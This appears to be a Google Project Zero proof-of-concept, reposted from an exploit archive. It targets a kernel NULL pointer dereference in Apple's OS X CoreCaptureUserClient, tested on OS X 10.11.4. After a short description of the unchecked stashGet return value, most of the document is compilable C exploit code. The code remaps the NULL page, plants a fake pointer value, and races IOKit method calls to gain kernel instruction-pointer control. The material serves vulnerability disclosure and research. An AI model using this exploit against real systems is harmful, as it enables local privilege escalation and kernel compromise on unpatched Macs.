Apple Mac OSX Kernel – NULL Dereference in CoreCaptureResponder Due to Unchecked Return Value
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=777 Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key. If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL page we can get trivial RIP control. Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 */ // ianbeer //clang -o CoreCaptureNull CoreCaptureNull.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 /* OS X exploitable kernel NULL dereference in CoreCaptureResponder due to unchecked return value Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key. If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL page we can get trivial RIP control. Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <IOKit/IOKitLib.h> #include <libkern/OSAtomic.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> unsigned int selector = 0; uint64_t inputScalar[16]; size_t inputScalarCnt = 0; uint8_t inputStruct[40960]; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[40960] = {0}; size_t outputStructCnt = 0; io_connect_t global_conn = MACH_PORT_NULL; void set_params(io_connect_t conn){ global_conn = conn; selector = 0; inputScalarCnt = 4; inputStructCnt = 0; outputScalarCnt = 16; outputStructCnt = 40960; } void make_iokit_call(){ IOConnectCallMethod( global_conn, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); } OSSpinLock lock = OS_SPINLOCK_INIT; void* thread_func(void* arg){ int got_it = 0; while (!got_it) { got_it = OSSpinLockTry(&lock); } // usleep(1); make_iokit_call(); return NULL; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } int main(int argc, char** argv){ kern_return_t err; // re map the null page rw int var = 0; err = vm_deallocate(mach_task_self(), 0x0, 0x1000); if (err != KERN_SUCCESS){ printf("%x\n", err); } vm_address_t addr = 0; err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); if (err != KERN_SUCCESS){ if (err == KERN_INVALID_ADDRESS){ printf("invalid address\n"); } if (err == KERN_NO_SPACE){ printf("no space\n"); } printf("%x\n", err); } char* np = 0; for (int i = 0; i < 0x1000; i++){ np[i] = '\xff'; } *((uint64_t*)0x28) = 0xffffff4141414141; OSSpinLockLock(&lock); pthread_t t; pthread_create(&t, NULL, thread_func, NULL); mach_port_t conn = get_user_client("IOAudioEngine", 0); set_params(conn); OSSpinLockUnlock(&lock); IOServiceClose(conn); } |